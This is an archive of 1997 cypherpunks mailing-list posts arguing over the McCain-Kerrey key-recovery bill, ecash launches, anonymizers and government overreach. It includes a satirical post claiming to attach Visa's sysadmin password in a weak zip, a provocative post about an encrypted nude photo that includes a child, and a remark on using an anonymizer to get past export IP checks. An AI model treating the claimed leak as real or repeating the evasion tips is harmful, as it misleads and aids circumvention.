>
> These 8 members of Congress didn't just vote in our favor here, they've
> placed crypto on an agenda at a higher level than something else they
> wanted to get through the committee.  Imagine being Sen. Burns, and knowing
> that you have just placed your own agenda at risk in order to stand up for
> crypto, knowing there's a non-neglible chance you might lose.
>
> By sheer definition, you've placed crypto on your agenda higher than
> something else.  Not only am I really damn happy to see this, but very
> happy to know that 8 senators think so little of the key recovery that
> they'd jeapordize their own agendas for it.
>
> We owe them a great big debt of thanks, not the derision that goes with
> Alice in Wonderland political punditry.

Imagine!

Shabbir's obvious amazement that a senator would put support of our
Constitutional rights above his own "agenda" is very telling.  Like
most of those senators, he's been in Washington too long.

It seems not to occur to those in D.C. that the very idea of congress
deigning to tell us how we can communicate with each other is utterly
offensive.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 20 Jun 1997 20:12:14 +0800
To: Lucky Green <cypherpunks@Algebra.COM
Subject: Re: Party on IRC
In-Reply-To: <3.0.2.32.19970619200316.00710650@netcom9.netcom.com>
Message-ID: <v0302093bafd0130a7fac@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:03 pm -0400 on 6/19/97, Lucky Green wrote:


> Much happened this week. If you feel like a conversation, join me on
> #cypherpunks on EFnet.

Hey, folks,

Is there an encrypted IRC available?

If not, shouldn't there be?

Is such a thing even possible?

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FuckClinton<fc@dev.null>
Date: Fri, 20 Jun 1997 21:35:41 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706201314.HAA26109@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



  I have sent along a nice picture of a naked family that comes from a
nudist magazine. Unfortunately, one of the family members is a young
child.
  Since, if viewed by a person who is not capable of controlling their
carnal sexual impulses (President Clinton, for example), it might be
considered to be a vile, filthy example of child pornography instead of
a pleasant portrait of a family comfortable with their nudity, I have
encrypted it with 3072-bit strong encryption with a program obtained
from a source outside of the United States.
  If it were not for the distinct possibility of the photograph giving
President Clinton and Newt Gingrich a hard-on then I might feel more
comfortable using weaker, 'government approved for export' encryption
such as is used to safeguard billions of dollars in the financial
community.

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=12UE
-----END PGP MESSAGE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 20 Jun 1997 21:19:14 +0800
To: cypherpunks@toad.com
Subject: Re: Cypherpunks write code
In-Reply-To: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
Message-ID: <PViL9D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:

> When I joined the Cypherpunks mailing list some years ago, few people even
> considered a legislative fix to the crypto issue. After all, crypto-anarchy
> is incompatible with the legislative process. Cypherpunks couldn't care
> less what happens in DC. They are banning crypto? What else is new?
>
> Cypherpunks know that governments do not like crypto. As crypto-anarchy
> spreads, they will like it even less. The attempt to get governments to
> sanction crypto is therefore futile. In the end, all non-GAK crypto will be
> banned.
>
> But who cares? Cypherpunks write code! We know that we need to get the
> tools out. Deployment wins.
>
> So let's not get hung up on the events in DC. Don't call your Senator.
> Don't waste time reading "policy posts". Write code!
>
> We have monumental tasks ahead of us. Anon remailers exist today. A way of
> reliably receiving anon email will be deployed this year. Web anonymizers
> that truly conceal your identity are in limited beta. Fully anonymous ecash
> will be available soon. DC nets should be deployed early next year. [But
> don't let this stop you from working  on DC nets. Modern designs only
> double the message bandwidth. This is very reasonable. We need more
> implementations].
>
> There is much work still to be done. We need stego front ends for many of
> these services. And credentials need to be implemened. A task that hasn't
> even been touched yet.

I've been discussing off-line what I consider a good programming project
that would encourage the use of digital signatures and make Usenet more
usable than it is now.  If anyone wants to donate your time coding,
please let me know and I'll tell you what it's about. It's cool.

(If and when I find the time to write code for free, it'll be the spambot :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arunas Norvaisa <arunas@post1.com>
Date: Fri, 20 Jun 1997 17:24:46 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: new money systems
In-Reply-To: <199706200103.SAA06874@netcom11.netcom.com>
Message-ID: <3.0.2.32.19970620080724.006968b4@post1.com>
MIME-Version: 1.0
Content-Type: text/plain



On 06:03 PM 97.06.19 -0700, Vladimir Z. Nuri wrote (and I quoted):

>in this country, our money supply is controlled by the federal
>reserve

 In _WHAT_ country ?????? Some of you, Americans, simply forget
there's OTHER countries in the world and I start to suspect that
some of you don't KNOW there's other ones except of your beloved
stars and stripes.


--
greetz... Arunas Norvaisa - little guy, The Masses Inc.
<mailto:arunas@post1.com> with subject: 'send key' to get PGP key
PGP for idiots page <http://www.a-vip.com/an>
  and a mirror site <http://www.post1.com/~arunas>
Long computations that yield zero are probably all for naught.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Fri, 20 Jun 1997 20:26:54 +0800
To: Tim May <tcmay@got.net>
Subject: Re: War has been Declared
In-Reply-To: <v03102808afcfb94db900@[207.167.93.63]>
Message-ID: <Pine.LNX.3.94.970620081721.1307A-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 19 Jun 1997, Tim May declared:

> We have to discard concern for "politics" and refocus our efforts on our
> original strength: monkeywrenching the system with technology.

Date: Sat, 14 Jun 1997 13:45:54 +0200
From: Rinaldo RASA <rasa@GPNET.IT>
Reply-To: Bohemian  The Mailing List of the Bohemian Ink
Subject: John Cage on Anarchism.

"We don't need government
We need utilities.

Air, water, energy
Travel and communication means
Food and shelter.

We have no need for imaginary mountain ranges
Between separate nations.

We can make tunnels through the real ones.

Nor do we have any need for the continuing division of people
Into those who have what they need
And those who don't.

Both Fuller and Marshal McLuhan
Knew, furthermore
That work is now obsolete.
We have invented machines to do it for us.

Now that we have no need to do anything
What shall we do?

Looking at Fuller's geodesic world map
We see that the Earth is a single island, Oahu.
We must give all the people all they need to live
In any way they wish.

Our present laws protect the rich from the poor.

If there are to be laws, we need ones that
Begin with the acceptance of poverty as a way of life.

We must make the world safe for poverty
Without dependence on government."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FearMonger <fm@dev.null>
Date: Fri, 20 Jun 1997 23:26:24 +0800
To: cypherpunks@toad.com
Subject: Encryption Test
Message-ID: <33AA9441.5C59@dev.null>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3963.1071713709.multipart/mixed"

--Boundary..3963.1071713709.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

I have attached a file that contains the sysadmin password for the
main computer at Visa's head office. In order to prevent the information
being abused, I have encrypted it with Pkzip so as not to have to fear
running afoul of vague and indeterminate crypto legislation.
  I am doing this in the hope that by showing my willingness to support
the government promotion of weak encryption I will thus be trusted with
even more highly sensitive information in the future.
  I also used a short and easily-guessed password to show my support
for government access to keys in the hope that it will lead to wider
recognition of my value as a team player in government projects.

  If I am ever in a position to be hired for a job that involves access
to the secret codes for launching nuclear missles, I hope that I can
count on letters of reference from cypherpunks list members declaring
my suitability for working in an area that requires one to show proper
fear of and submission to authority.

FearMonger


--Boundary..3963.1071713709.multipart/mixed
Content-Type: application/octet-stream; name="zip00000.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="zip00000.zip"
Content-Description: "Visa.zip"

UEsDBAoAAQAAAAk81CK/898cKAAAABwAAAAIAAAAVklTQS5UWFQpcY1otXlT
ozNlkBz4uyiwVlxe1xahTGOf/Rf2adZ801Fd3ciEOf32UEsBAhQAFAABAAAA
CTzUIr/z3xwoAAAAHAAAAAgAAAAAAAAAAQAgAAAAAAAAAFZJU0EuVFhUUEsF
BgAAAAABAAEANgAAAE4AAAAAAA==
--Boundary..3963.1071713709.multipart/mixed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Sat, 21 Jun 1997 00:49:11 +0800
To: cypherpunks@Algebra.COM
Subject: HOT Summer IN White House
Message-ID: <199706201633.JAA25301@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain




This item is one of many such articles outlining the corruptions within
Washington. Some of these corruptions are huge, and go far beyond simple
pork-barreling. On a level with Watergate, it seems to many of us.

I don't usually forward items from "talk.politics.crypto," as I assume
many of you are already reading it. But this particular item fits with the
"Washington as crime capital in more ways than one" them I've been
hitting.

Look especially for how favors were granted for high tech exports.

--Tim

> From: softwar@us.net (SOFTWAR)
> Newsgroups:
talk.politics.crypto,alt.politics.org.nsa,alt.politics.org.fbi,alt.politics.cia,alt.politics.clinton,alt.politics.datahighway,talk.politics.misc,alt.politics.democrats.d,alt.politics.usa.republican
> Subject: HOT Summer IN White House
> Date: Fri, 20 Jun 1997 10:35:29 GMT

> 
> It's going to be a long hot summer for the Clinton
> administration.
> 
> Wednesday night ABC Primetime did a special on Ron Brown's
> girlfriend.  The accusations  flying around the dead Secretary
> of Commerce do not bode well for the living inside the Beltway.
> First, it seems that Ron acquired an offshore bank account with
> nearly a million dollars deposited for him by the Government of
> Vietnam.  Vietnam wanted to normalize trade relations with the
> US and bribing the top dog at Commerce certainly helped grease
> the skids.  Vietnam got their trade deal but Brown found out
> that the FBI knew about his bank account.  So he could not touch
> the money.  The bribery accusation is collaborated by an
> ex-Vietnamese official who has also turned his evidence over to
> the FBI.  Mr. Brown's girlfriend plans to testify before both
> the Senate and the House committees investigating wrongdoing in
> the Clinton administration.
> 
> Another revelation which should come as no shock is that the
> First Lady put John Huang in the Commerce Department.  This
> demand apparently did not sit well with Mr. Brown, who,
> according to his girlfriend, did not like Mrs. Clinton.  It
> seems that Ron's strong personality ran smack head on into
> Hillary's demanding attitude.  Yet, he bent over backward and
> made sure that Huang was hustled into his government position,
> complete with a secret clearance.  Once Huang entered the
> Commerce Department strange events really started to pop up.
> The Commerce Department initially denied Huang had access to
> anything important. It is now known that Huang attended dozens
> of secret CIA briefings.  Huang is alleged to have discussed
> secret materials with his former employers at the Lippo group.
> The allegations come from material obtained by taps on Huang's
> Commerce Department telephone.
> 
> Can the same be said for Ira Sockowitz?  
> 
> No.  Ira Sockowitz was placed into his Commerce position
> directly and personally by President Clinton.  It was Ira
> Sockowitz who ran Ron Borwn's airline seating arrangements,
> between working on government affairs.  Whenever Mr. Brown would
> fly on a government sponsored trade trip - Ira would line up big
> Corporate powers to ride along on the party plane.  Mr.
> Sockowitz had more experience as a DNC fund-raiser than security
> software.  Despite this lack of technical skills Mr. Sockowitz
> entered the field of banking security software at Commerce.  It
> is the Commerce Department which approves or denies export of
> such financial software.  The amount of money involved, invested
> and possible returns, are staggering.  Obviously, the
> push/pull/shove involved in getting such a product approved is
> no easy task.  Few export licenses have been issued and those
> who have them are not too anxious for any others to join them.
> 
> Just how easy was it to obtain such a privilege?  Not very.  Not
> even Fortune 500 companies could obtain export rights from the
> Commerce Department.  Letters from IBM, Motorola, Digital, HP
> and a host of other billion dollar firms clearly indicate their
> unsuccessful efforts to obtain Commerce licenses to export their
> products.
> 
> However, letters from certain other companies are covered with
> redacted notes which the Commerce Department refuses to release.
> One letter to the Commerce Department in particular was faxed to
> someone (also redacted) along with a memo on how to obtain a
> "waiver" for export.  Another set of Sockowitz documents being
> withheld are a set of hand written notes on a conversation, a
> three pages fax and two applications for license for export
> dated 8/11/94.  The Clinton administration will not say who sent
> the fax nor will they say who Ira Sockowitz talked to.  Yet,
> clearly the topic was a license to export.  A license that could
> have been worth billions of dollars.
> 
> It's going to be a long hot summer for the Clinton
> administration.
> 
> 1 if by land, 2 if by sea.  Paul Revere - encryption 1775
> 
> Charles R. Smith
> SOFTWAR
> http://www.us.net/softwar
> 
> Pcyphered SIGNATURE:
> 5317BD5D86A9257B2048D1D80523D9ACF320DB56A078CA4EA62BABF7A43EBE6B
> 2F5FB787CDEF242FA01EF13984F7071AC2B401DAD0010740F1F024C3CCF9D841
> 9760977F67662EEF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 01:02:25 +0800
To: "Wayne Clerke" <cypherpunks@toad.com>
Subject: Re: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <v03102809afd06491f5c7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:22 AM -0700 6/20/97, Wayne Clerke wrote:
>Seen this? Another bank braving the Digicash ecash waters:
> ----
>From: Edward Breese x1364 <edwardb@executive.advance.com.au>
>To: ecash-merchant <ecash-merchant@advance.com.au>
>Date: Friday, 20 June 1997 11:50
>Subject: Advance Bank launches ecash
>
>>
>>Hi everyone,
>>
>>Thank you for being so patient.  ecash is now available from our web site
>>at:  http//www.advance.com.au/ecash
>>
>>You will find plenty of information to help you set up your ecash purse
>and
>>configure a web site to accept ecash.  You can  download our latest

I was unable to connect to the listed URL, but I rather suspect this is not
a form of "e-cash" that is of much interest or use to Cypherpunks.

No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
wrongly, a trademark of the company with the same name.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 01:25:23 +0800
To: cypherpunks@Algebra.COM
Subject: Getting Back to our Radical Roots
In-Reply-To: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
Message-ID: <v0310280aafd0659f356a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:02 AM -0700 6/20/97, Lucky Green wrote:
>When I joined the Cypherpunks mailing list some years ago, few people even
>considered a legislative fix to the crypto issue. After all, crypto-anarchy
>is incompatible with the legislative process. Cypherpunks couldn't care
>less what happens in DC. They are banning crypto? What else is new?

Well said. And this latest round of laws is just what we expected when
Clipper was announced: the concern was never that certain government
agencies might have to replace their "STU" machines with a Clipperphone,
the concern from the beginning was mandatory use of Clipper-like key escrow
systems.

(At the risk of gaining another entry in the satires about how I said
something long in the past, I wrote a cautionary article in October 1992, 5
or 6 months before Clipper was announced, warning that Prof. Denning and
others were "floating trial balloons to ban crypto." How right I was.)


>Cypherpunks know that governments do not like crypto. As crypto-anarchy
>spreads, they will like it even less. The attempt to get governments to
>sanction crypto is therefore futile. In the end, all non-GAK crypto will be
>banned.

And the latest bill from McCain and Kerrey is the language pushed by
Clinton, so all speculation about whether Clinton will sign it when it
passes the Senate and House is moot. Further, the language closely
parallels the language we saw recently in the laws floated in the U.K.
(remember the "trusted third parties" document?) and in some  other
countries. That is, this McCain-Kerrey S.909 bill is just the
implementation of the OECD/David Aaron/GAK/New World Order/G8 deal to
outlaw cryptography use by citizen-units in the various "democratic" nation.

It is claimed by some that non-escrowed, non-GAKked, arbitrary strength
crypto remains legal for those who don't engage in commerce, who don't sign
the keys of others, who don't export,  etc.  Maybe. Certainly a lot of us
will continue to use the versions of PGP 5.x we *IMPORT* from Europe
(courtesy of the groups overseas now busily scanning and OCRing the source
code exported via FedEx by a Loyal Cypherpunk Who Has Chosen Not to Claim
Credit). Certainly we won't be using GAK.

But nearly anyone connected with a corporation will probably be told to use
a GAK product, to reduce potential liablility and criminality concerns.
This is the scenario Whit Diffie outlined several years ago at a
Cypherpunks meeting, that pressures would be applied so as to make
corporations and other such organizations the main enforcers of such
policies.

(No, there won't be 100% enforcement. But enough to have a chilling effect
on the development of some infrastructures Cypherpunks would like to see.
Certainly any sort of untraceable cash infrastructure will be in almost
immediate violation of the M-K bill, as it will be in U.K,, Germany,
France, Japan, and all the other OECD/G8 nations. Cypherpunks like us can
still "bootleg" some untraceably transactions, but not easily. And forget
about wide use. This is the desired effect of these new laws.)


>
>Cypherpunks write code,
>

OK, my chance here to piss off a few of you:

I think the "breaking of DES" challenge was, while interesting, a sideshow.
And utterly predictable, to anyone who read the 1977-78 papers on the
difficulty of breaking DES.

As with many Cypherpunks goals, I've been chagrinned to see so much
"backsliding" to lesser, less radical concerns. Recent meetings (that I've
been to) have been more dominated by "practical" issues of helping PGP,
Inc. out, of getting IETF agreement on some form of 3DES use, and on things
like the various challenges of known weak ciphers.

To quote Bill Stewart, "Foo on that!"

We are losing sight of the deeper issues, in my view.

The resources used to break DES, if as many people hosted remailers and
anonymizers on their machines, would further Cypherpunks goals a lot more
than breaking DES, which we all know was breakable (as we know what "56
bits" means).

(No, I will not make the usual error of assuming the resources used in
DESCHALL could be switched over to remailers and anonymizers....there are
many factors which went into why thousands of machines were volunteered,
and many or most of them are not applicable to the remailer situation. But
it is important to realize that "breaking DES' will have no lasting
effect....ironic, isn't it, that the M-K bill sailed through even despite
the same-day publicity surrounding the breaking of DES?)

We need to stop treating Cypherpunks meetings as marketing arms of
corporations, however "friendly" to us in some respects, and get back to
our more radical roots.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 21 Jun 1997 01:50:41 +0800
To: Tim May <cypherpunks@toad.com>
Subject: Re: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <v03102801afd06cbcb3be@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>I was unable to connect to the listed URL, but I rather suspect this is not
>a form of "e-cash" that is of much interest or use to Cypherpunks.

The URL was missing a ':' after the http, otherwise worked fine for me.

>
>No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
>wrongly, a trademark of the company with the same name.

I suspect there are slight differences, but will need to confirm, between
Advance's mint protocol and MT.  If I understand correctly, they use a
somewhat different customer authentication procedure (PIN).  Even so, it
should have all the same anonymity features (or lack thereof) of MT ecash.

It isn't clear to me, from their lengthy regulation list, whether a
non-Australian can open an account.

Several items of interest.
1. No Mac support.  This is an opportunity for a non-Digicash purse.

2. Fee schedule.  Advance plans to charge a 0.5% discount to funds entering
the mint, like traveller's checks.  Either banking competition must be
different in Australia or they know something I don't.  This would probably
not fly in the US under current competitive conditions.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 21 Jun 1997 02:07:43 +0800
To: cypherpunks@Algebra.COM
Subject: New Laws in Oregon - "Land of the Legal betatest"
Message-ID: <Pine.GSO.3.96.970620105013.1120B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



I sometimes think that Oregon is being used as a beta test for some of the
more draconian laws due for the rest of the country.

An example is the new law waiting to be signed by the Govenor.  It would
expand the reasons a cop can use to detain and search you.  Currently they
need to have probable cause that you committed a crime.  The new law
expands that to probible cause that you are about to commit a crime and a
whole host of things they can detain and question you on.  (The TV
coverage has been less than good.  The TV anchor they had covering it was
pushing it as a good idea.  Only until later did they bring up any reasons
of protest.) 

Yet another tool to keep the masses down.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@healey.com.au>
Date: Fri, 20 Jun 1997 09:26:07 +0800
To: cypherpunks@toad.com
Subject: Extremely Disappointing: Political Cryptography
In-Reply-To: <v03007800afcf43494b3e@[168.161.105.191]>
Message-ID: <33A9D7F3.BACEB3DA@healey.com.au>
MIME-Version: 1.0
Content-Type: text/plain



Dear All,

I have been an advocate of strong cryptography since my first haphazard
experiments with my own pitiful encryption schemes. Upon gaining a
little more knowledge on the subject, I have become an even stronger
advocate. The right for one to think what one likes is supposedly
"gratis", but this right is almost useless if the ability to communicate
one's thoughts to others _in a private and secure manner_ is burgeoned
by those who would grant not only to assumedly trustworthy government
departments but anyone with enough will the ability and the permission
to not only control the manner in which we communicate our thoughts with
others, but to also listen in.

And yet this is not the worst part of it all. We are reliant upon
politicians, most of whom one would be encouraged to believe are there
only due to such qualities as charisma and "political nouse", a term
unto itself really, to make decisions on that which they really have
very little idea. This decision by the U.S. Senate to endorse an action
that will only repress the whole world's ability to communicate in
private (the US being the leader by far in matters of technology,
especially the Internet) is yet another example of those ill-educated in
a particular matter succumbing to either a knee-jerk political reaction,
or a knee-jerk personal reaction. Or, as in this case, a combination of
both.

> Sen. John McCain (R-Ariz.), committee chair and chief
> sponsor of the measure, led the attack, saying
> Congress must "stop child pornography on the Internet
> and Internet gambling. These legitimate law
> enforcement concerns cannot and should not be
> overlooked or taken lightly."

"Child Pornorgrapy and the Internet" - in my opinion it is "The Phrase
that Pays" in practically every situation to do with the Internet,
politically speaking. I am sure that you could put forward a very good
argument as to why practically any facet of the internet should be
controlled, repressed, and spied upon, simply by mentioning the "phrase
that pays" in the company of Politicians. It engenders the
aforementioned knee-jerk reactions, encourages them, and stokes their
fires to a new level.

Over here in Australia it is generally accepted that most Australians
have a general disdain of politicians and politics in general.
Naturally, the young are at times passionately ideological, particularly
arts students with too much time on their hands, and they always have
faith in "the new vision", the new guard of politicians - the young
politicians, who will lead them in their struggle. Little do they
realise that this "new guard" had to get to their positions somehow -
usually by gaining favour with the "old guard". And in doing so they
effectively kneecap themselves : always chained to pleasing those who
got them there, they are never able to actually do anything they
themselves passionately believe (or believed) in, and they themselves
end up becoming the "old guard", sucked into a vicious circle. If indeed
they ever believed in what they claimed to be aiming to do.

> He warned that allowing encryption to be exported
> would permit child pornographers to use it. "If it's
> being used for child pornography? Are we going to say
> that's just fine? That's it's just business? I don't
> think so."

Such narrow-mindedness and short-sightedness is something we would
probably have all hoped to not have seen, particularly in "leaders" of
such stature. "The Phrase that Pays" seems to only be so applicable to
the Internet: these same politicians would no doubt scream to all
reaches of the globe the right for all to free speech, and yet would
they repress the export of printing presses? Computers? Paper? Pencils?
I am sure that these tools are far more crucial to the business of Child
Pornographers than strong cryptography. It seems ridiculous to try and
control or at least impinge upon the business of child pornographers by
controlling the export of something that will only affect the ability of
those outside of the United States to view or obtain such material. But
then again, where the Communications Decency Act, a law of sheer
repression, failed, systems such as Government Key Escrow might succeed.
A later part of the article summarised this beautifully:

> Sen. John Ashcroft (R-MO) tried to disagree. "It's like
> photography. We're not going to [ban] photography if
> someone takes dirty pictures." (At this point, one of
> the more deaf committee members asked, "Pornography?
> Are we going to ban pornography?")
>
I guess that the whole idea of children's uncontrolled access to
information had to follow:

> Then Sen. Kay Bailey Hutchinson (R-Tex.) chimed in,
> saying she doesn't want "children to have access to
> pornography or other bad types of information."

I am also an advocate of freedom of information, as strange as it might
sound to combine that with advocacy for privacy and security. In my
opinion there is a time and a place for everything, and it is also so
with information: certain things should remain private, and justifiably
so (e.g Credit Card numbers, bank account details, Social Security
details), but most other information can only lead in the long run to
the enhancement of our ability to learn about ourselves, and the world
in which we live. Attempting to generally control access to information
is the next step in the progression of repression of freedom. First you
repress the ability to communicate thoughts privately, as mentioned
before, and then you try and control the thoughts of the current and
next generation by restricting access to information that does not fit a
personal model. The next generation will thus have grown up accepting
this as normal, and the world is safer place. And so we have a model
society...a society that reflects the views of a past generation's
society. Every "Condition" Perpetuates Itself, Due To Every
"Condition's" Fear Of Change.

Perhaps I am being a bit alarmist. Perhaps I have been influenced too
greatly by George Orwell's "1984". Or perhaps I am seeing something here
that others have known for ages, and I have only just seen it. I am not
sure of that, but I am sure of this: I am just of voting age now in
Australia, and if I could add my voice to those trying to convince
politicians of the obvious truth here in the USA then I would. But
Australia always has and probably always will continue to follow the
path of the United States. Perhaps the only way for me to be able to
share my thoughts with others will be to remain so unimportant that
nobody could possibly be interested in me.

Benjamin Grosman

-------------------------------
Apologies to those who were forced to read a very rambling diatribe
against this whole situation. I have tried to formulate my thoughts upon
reading the news of the defeat into something at least slightly
coherent. I will try at a later point to polish this up...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 20 Jun 1997 23:53:33 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key-RecoveryCrypto Bill
Message-ID: <v03007800afd04ded1e66@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



>Date: Thu, 19 Jun 1997 16:47:49 -0400
>To: fight-censorship@vorlon.mit.edu
>From: Declan McCullagh <declan@well.com>
>Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key-Recovery
>Crypto Bill
>Cc:
>Bcc:
>X-Attachments:
>
>At 13:45 -0400 6/19/97, Jonah Seiger wrote:
>>
>>Senator Conrad Burns' (R-MT) effort to block the McCain-Kerrey bill was
>>defeated by a vote of 12 - 8.  The 8 Senators who voted with Burns deserve
>>a great deal of credit for standing up for the Net.
>
>Perhaps your definition of "standing up for the Net" is different from mine.
>
>The eight senators who "deserve a great deal of credit" voted for a bill
>that would have codified into law a 56-bit limit on encryption exports and
>would have sparked the development of a national key recovery
>infrastructure.
>
>Burns' ProCODE II "effort" would have permitted only the export of up to
>56-bit crypto products without key escrow. Products of any strength *with*
>key escrow could be exported freely.
>
>ProCODE II would also create an Information Security Board composed of the
>Commerce Secretary, and representatives of the NSA, CIA, FBI, and White
>House.
>
>Maybe it's just me, but I don't need my elected representatives "standing
>up" for me by passing these kinds of bills...
>
>-Declan
>
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 21 Jun 1997 02:24:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cypherpunks write code
In-Reply-To: <Pine.LNX.3.91.970620124049.285A-100000@fatmans.demon.co.uk>
Message-ID: <199706201815.LAA18928@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley writes:

> Does www.anonymizer.com run at a decent speed within the US? I tried to 
> use it from here yesterday to get past the IP address cheching for the 
> export page on www.netscape.com, and it was too slow (just stalled on 
> about 1k)

During its transition from C2 to Cyberpass, the anonymizer seems to have
acquired a long pause after the first block of each document.  Accounts
which permit you to use the anonymizer without the pause may be purchased
for a reasonable fee from the anonymizer's new owner. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 21 Jun 1997 03:03:45 +0800
To: cypherpunks@Algebra.COM
Subject: [Noise] Random thought...
Message-ID: <Pine.GSO.3.96.970620114844.1120E-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



With all of the "punish the evildoers amongst us"  and the "Improving 
Security by making it illegal" raving in congress, this came to mind...

"The Congressional Definition of the Strength of a Firewall is how many
times you can march the citizenry in front of it for summary execution
before it crumbles."

You may now go back to the regularly scheduled panic.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 21 Jun 1997 00:19:37 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
In-Reply-To: <199706201325.GAA17048@fat.doobie.com>
Message-ID: <3.0.2.32.19970620115331.035cbde0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 06:25 AM 6/20/97 -0700, Huge Cajones Remailer wrote:

>It seems not to occur to those in D.C. that the very idea of congress
>deigning to tell us how we can communicate with each other is utterly
>offensive.

And unlike others, I am not afraid to say in public that (as in so many other 
things) I will refuse to obey congressional enactments in this area.

DCF
 
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6qneYVO4r4sgSPhAQHz0gQAwlhEnlliVc0QsvmRrpyRJvd9dEioU4TV
ZAC3c+a0Qh7eNfy++nZcOgYb/f6TRcRFeo2+eP0cu+fdWfzIDsjB3i3r4gVJp+P0
